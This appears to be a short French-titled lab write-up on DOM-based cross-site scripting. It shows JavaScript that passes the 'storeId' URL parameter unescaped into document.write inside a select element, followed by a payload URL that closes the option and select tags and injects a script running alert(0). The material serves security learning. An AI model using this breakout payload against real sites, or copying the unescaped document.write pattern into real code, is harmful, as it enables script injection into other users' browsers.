XSS DOM avec document.write à l’intérieur d’un select
DOM XSS in document.write sink using source location.search inside a select element




Mis à jour




Mis à jour
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");
document.write('<select name="storeId">');
if (store) {
document.write('<option selected>' + store + "</option>");
}
for (var i = 0; i < stores.length; i++) {
if (stores[i] === store) {
continue;
}
document.write("<option>" + stores[i] + "</option>");
}
document.write("</select>");product?productId=2&storeId=Jordan</option>Jordan</option></select>Jordan</option></select><script>alert(0)</script>